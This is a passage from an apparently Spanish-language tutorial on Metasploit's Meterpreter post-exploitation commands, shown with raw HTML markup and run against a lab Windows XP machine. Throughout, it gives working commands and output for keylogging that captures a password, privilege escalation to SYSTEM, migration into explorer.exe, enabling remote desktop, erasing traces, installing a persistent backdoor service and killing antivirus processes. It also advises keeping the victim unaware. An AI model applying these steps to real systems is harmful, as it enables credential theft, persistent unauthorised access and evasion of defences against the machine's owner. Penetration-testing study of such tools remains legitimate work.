&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">msf exploit(handler) &amp;gt; sessions -l
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Active sessions
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">===============
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Id Type Information Connection
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1 meterpreter x86/win32 OWNER\Owner @ OWNER 192.168.1.33:443 -&amp;gt; 192.168.1.34:1091
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">msf exploit(handler) &amp;gt; sessions -i 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[\*] Starting interaction with 1…
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>keyscan &lt;Stdapi User Interface Commands>
Con esta utilidad es posible saber que ha digitado el usuario en su maquina, de esta se obtiene fácilmente, claves, usuarios, direcciones, mensajes, etc.&lt;/p>
&lt;p>Su uso:&lt;/p>
&lt;p>meterpreter &amp;gt; keyscan_start&lt;/p>
&lt;p>Starting the keystroke sniffer…&lt;/p>
&lt;p>Con esto se ha iniciado el keylogger, posteriormente para consultar lo que se digitado:
meterpreter &amp;gt; keyscan_dump&lt;/p>
&lt;p>Dumping captured keystrokes…&lt;/p>
&lt;p>&lt;Ctrl> &lt;LCtrl> t &lt;Ctrl> &lt;LCtrl> l &lt;Esc> gmail.com &lt;Return> usuario&lt;Tab> passSuperSegura &lt;Return>&lt;/p>
&lt;p>Finalmente para detener el servicio basta con:&lt;/p>
&lt;p>meterpreter &amp;gt; keyscan_stop&lt;/p>
&lt;p>Stopping the keystroke sniffer…&lt;/p>
&lt;p>getuid &lt;Stdapi System Commands>, getsystem &amp;lt;Priv: Elevate Commands&amp;gt; y rev2self &lt;stdapi System Commands>
Con estos comandos se pueden hacer operaciones de consulta y manipulación de cuentas de usuarios&lt;/p>
&lt;h5 id="para-obtener-el-usuario-en-sesión">Para obtener el usuario en sesión&lt;/h5>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-mysql" data-lang="mysql">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">meterpreter&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">getuid&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="n">Server&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">OWNER&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Owner&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h5 id="para-obtener-la-cuenta-del-usuario-system">Para obtener la cuenta del usuario SYSTEM&lt;/h5>
&lt;p>meterpreter &amp;gt; getsystem&lt;/p>
&lt;h5 id="got-system-via-technique-1">got system (via technique 1).&lt;/h5>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; getuid
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Server username: NT AUTHORITY\SYSTEM
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h5 id="para-volver-a-la-sesión-anterior">Para volver a la sesión anterior&lt;/h5>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; rev2self
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; getuid
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Server username: OWNER\Owner
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>migrate &lt;Core>
Permite migrar el proceso de Meterpreter a otro proceso activo, su uso es muy simple basta con especificar un PID activo (que puede ser consultado utilizando el comando “ps” de Meterpreter).&lt;/p>
&lt;p>meterpreter &amp;gt; migrate 1780&lt;/p>
&lt;p>De esta forma, cuando se cierre el proceso en ejecución anteriormente asociado al proceso de Meterpreter, este será “migrado” al proceso especificado, se recomienda que el PID sea el de el proceso explorer.exe o uno que tenga relación con los procesos del sistema operativo.&lt;/p>
&lt;p>getgui
Con este comando es posible acceder al escritorio remoto de la maquina objetivo, en concreto, lo que permite este comando es activar el escritorio remoto de la maquina comprometida.&lt;/p>
&lt;p>Su uso resulta muy sencillo:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; run getgui -e
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Carlos Perez carlos_perez@darkoperator.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Enabling Remote Desktop
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] RDP is disabled; enabling it …
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Setting Terminal Services service startup mode
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] The Terminal Services service is not set to auto, changing it to auto …
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Opening port in local firewall if necessary
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20110307.0914.rc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h5 id="posteriormente-podemos-conectarnos-al-escritorio-remoto-usando-el-comando-rdesktop-con-una-sintaxis-similar-al-siguiente">Posteriormente podemos conectarnos al escritorio remoto usando el comando rdesktop con una sintaxis similar al siguiente:&lt;/h5>
&lt;p>&lt;code>rdesktop -u juan -p juan 192.168.1.34&lt;/code>&lt;/p>
&lt;p>Cabe notar que el usuario y el password especificados pueden corresponder a un usuario creado anteriormente con incógnito, aunque evidentemente se puede utilizar cualquier otro usuario con credenciales validas.&lt;/p>
&lt;p>Nota: En sistemas operativos XP y otros que no soporten múltiples sesiones de escritorio remoto, esta acción hará que el usuario logueado en la maquina remota pierda su sesión, por ende es necesario tener prudencia con este tipo de acciones, principalmente para no alertar al usuario sobre las acciones que se están llevando a cabo, esto también aplica a la creación de usuarios, dado que es bastante notorio cuando un usuario se ha creado en el sistema.&lt;/p>
&lt;h5 id="finalmente-se-limpia-lo-que-se-ha-hecho-para-no-dejar-rastros-para-esto-se-utiliza-el-comando">Finalmente, se limpia lo que se ha hecho para no dejar rastros, para esto se utiliza el comando:&lt;/h5>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20110307.0914.rc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Running Command List …
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Running command reg setval -k ‘HKLM\System\CurrentControlSet\Control\Terminal Server’ -v ‘fDenyTSConnections’ -d &amp;#34;1&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Successful set fDenyTSConnections.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Running command execute -H -f cmd.exe -a “/c sc config termservice start= disabled”
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Process 580 created.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Running command execute -H -f cmd.exe -a “/c sc stop termservice”
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Process 3184 created.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Running command execute -H -f cmd.exe -a “/c ‘netsh firewall set service type = remotedesktop mode = enable’”
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Process 1312 created.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>metsvc
Permite definir un proceso persistente en la maquina objetivo que se encontrará a la espera de una nueva conexión por parte del atacante, para esto será necesario en primer lugar “migrar” el proceso de la sesión meterpreter actual a otro proceso “persistente” del objetivo, del modo en el que se ha indicando anteriormente con el comando migrate, por este motivo los procesos que resultan mas interesantes son aquellos propios del sistema operativo, posteriormente se puede ejecutar:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">run&lt;/span> &lt;span class="n">metsvc&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Creating&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">meterpreter&lt;/span> &lt;span class="n">service&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="n">port&lt;/span> &lt;span class="mi">31337&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Creating&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">temporary&lt;/span> &lt;span class="n">installation&lt;/span> &lt;span class="n">directory&lt;/span> &lt;span class="n">C&lt;/span>&lt;span class="p">:&lt;/span>\&lt;span class="n">DOCUME&lt;/span>&lt;span class="o">~&lt;/span>&lt;span class="mi">1&lt;/span>\&lt;span class="n">Owner&lt;/span>\&lt;span class="n">LOCALS&lt;/span>&lt;span class="o">~&lt;/span>&lt;span class="mi">1&lt;/span>\&lt;span class="n">Temp&lt;/span>\&lt;span class="n">lZBdswMe&lt;/span>&lt;span class="err">…&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">Uploading&lt;/span> &lt;span class="n">metsrv&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dll&lt;/span>&lt;span class="err">…&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">Uploading&lt;/span> &lt;span class="n">metsvc&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">exe&lt;/span>&lt;span class="err">…&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">Uploading&lt;/span> &lt;span class="n">metsvc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">exe&lt;/span>&lt;span class="err">…&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Starting&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="n">service&lt;/span>&lt;span class="err">…&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">*&lt;/span> &lt;span class="n">Installing&lt;/span> &lt;span class="n">service&lt;/span> &lt;span class="n">metsvc&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">*&lt;/span> &lt;span class="n">Starting&lt;/span> &lt;span class="n">service&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Service&lt;/span> &lt;span class="n">metsvc&lt;/span> &lt;span class="n">successfully&lt;/span> &lt;span class="n">installed&lt;/span>&lt;span class="o">.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Como se puede apreciar la backdoor se ha instalado correctamente en el objetivo, ahora es posible realizar una conexión activa (ya no es necesario esperar de forma pasiva a que un usuario ejecute el fichero .exe que habilitará la sesión meterpreter).&lt;/p>
&lt;p>killav&lt;/p>
&lt;h5 id="en-muchas-ocasiones-en-la-maquina-objetivo-existen-programas-de-antivirus-instalados-lo-que-dificultará-tareas-comunes-e-inclusive-triviales-por-esta-razón-existe-el-script-killav-que-intentará-terminar-todos-los-procesos-de-antivirus-en-el-objetivo">En muchas ocasiones en la maquina objetivo existen programas de antivirus instalados, lo que dificultará tareas comunes e inclusive triviales, por esta razón existe el script killav que intentará terminar todos los procesos de antivirus en el objetivo:&lt;/h5>
&lt;p>meterpreter &amp;gt; run killav&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">[*] Killing Antivirus services on the target…
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Killing off avgrsx.exe…
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Aunque con este comando se supone que se deberían eliminar los procesos de monitoreo como Antivirus, en algunos casos no funciona correctamente, en especial cuando se trata de antivirus que tienen procesos persistentes/resilentes y que no pueden ser detenidos con los mecanismos convencionales, es en estos casos en los que se deben emplear mecanismos mas elaborados para desactivar esta clase de servicios en la maquina comprometida, aquí entra en juego un proceso de recolección de información y análisis de las defensas del objetivo.&lt;/p>
&lt;p>route &lt;Stdapi Network commands>
Se trata del conocido comando route en sistemas windows/linux, permite conocer y definir las tablas de enrutamiento del sistema&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; route list
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Network routes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">==============
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Subnet Netmask Gateway
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">—— ——- ——-
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0.0.0.0 0.0.0.0 192.168.1.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">127.0.0.0 255.0.0.0 127.0.0.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.0 255.255.255.0 192.168.1.34
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.34 255.255.255.255 127.0.0.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.255 255.255.255.255 192.168.1.34
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">224.0.0.0 240.0.0.0 192.168.1.34
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">255.255.255.255 255.255.255.255 192.168.1.34
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>cd, rm, rmdir, pwd, ls, upload, download, cat edit, del, mkdir &lt;File System Commands>
Se trata de los comandos básicos para consulta y manipulación de ficheros, su uso es equivalente a los comandos del mismo nombre disponibles en sistemas basados en UNIX, sin embargo estos comandos se ejecutan en el sistema remoto por medio del interprete meterpreter&lt;/p>
&lt;p>cd: Permite navegar a través de la estructura de directorios, rm y del eliminar un fichero especificado, pwd, conocer el directorio actual en donde apunta meterpreter, upload para subir un fichero a la maquina remota, download, descargar un fichero desde la maquina remota, mkdir crear un directorio nuevo, cat Permite visualizar un fichero remoto, mientras que edit, permite editarlo con el uso de vi&lt;/p>
&lt;p>Como se puede apreciar, se trata de comandos de fácil uso y bastante similares a los comandos clásicos en cualquier sistema Unix.&lt;/p>
&lt;p>Idletime &lt;Stdapi User Interface Commands>
Permite determinar cuanto ha sido el tiempo en el que el usuario de la maquina remota ha permanecido sin actividad:&lt;/p>
&lt;p>meterpreter &amp;gt; idletime&lt;/p>
&lt;p>User has been idle for: 15 mins 57 secs&lt;/p>
&lt;p>meterpreter &amp;gt; idletime&lt;/p>
&lt;p>User has been idle for: 16 mins&lt;/p>
&lt;p>channel &lt;core>, execute &lt;Stdapi System Commands>, interact&lt;core> read&lt;core>, write&lt;core>, close&lt;core>
Para definir diferentes procesos que se ejecuten en la maquina remota y posteriormente declararlos como canales para ser manejados por meterpreter por medio del uso del comando channel:&lt;/p>
&lt;p>meterpreter &amp;gt; execute -f cmd -c&lt;/p>
&lt;p>Process 3356 created.&lt;/p>
&lt;p>Channel 11 created.&lt;/p>
&lt;p>meterpreter &amp;gt; getpid&lt;/p>
&lt;p>Current pid: 1836&lt;/p>
&lt;p>meterpreter &amp;gt; execute -f cmd -c&lt;/p>
&lt;p>Process 2772 created.&lt;/p>
&lt;p>Channel 12 created.&lt;/p>
&lt;p>meterpreter &amp;gt; execute -f cmd -c&lt;/p>
&lt;p>Process 2860 created.&lt;/p>
&lt;p>Channel 13 created.&lt;/p>
&lt;p>Como se ha podido apreciar, se han creado diferentes canales con un proceso asociado, posteriormente es posible consultarlos con el comando channel:&lt;/p>
&lt;p>meterpreter &amp;gt; channel -l&lt;/p>
&lt;p>Id Class Type&lt;/p>
&lt;p>– —– —-&lt;/p>
&lt;p>11 3 stdapi_process&lt;/p>
&lt;p>12 3 stdapi_process&lt;/p>
&lt;p>13 3 stdapi_process&lt;/p>
&lt;p>Si se desea interactuar con alguno de esto canales, se utiliza el comando “interact” para definir alguno de los canales creados y posteriormente interactuar con él.&lt;/p>
&lt;p>meterpreter &amp;gt; interact 11&lt;/p>
&lt;p>Interacting with channel 11…&lt;/p>
&lt;p>Microsoft Windows XP [Version 5.1.2600]&lt;/p>
&lt;p>(C) Copyright 1985-2001 Microsoft Corp.&lt;/p>
&lt;p>c:&amp;gt;exit&lt;/p>
&lt;p>meterpreter &amp;gt; channel -l&lt;/p>
&lt;p>Id Class Type&lt;/p>
&lt;p>– —– —-&lt;/p>
&lt;p>12 3 stdapi_process&lt;/p>
&lt;p>13 3 stdapi_process&lt;/p>
&lt;p>Otra forma de interactuar con un canal, es utilizando los comandos read y write, que permiten enviar flujos de datos a un canal definido de una forma sencilla:&lt;/p>
&lt;p>meterpreter &amp;gt; write 12&lt;/p>
&lt;p>Enter data followed by a ‘.’ on an empty line:&lt;/p>
&lt;p>echo “Hola!”&lt;/p>
&lt;p>.&lt;/p>
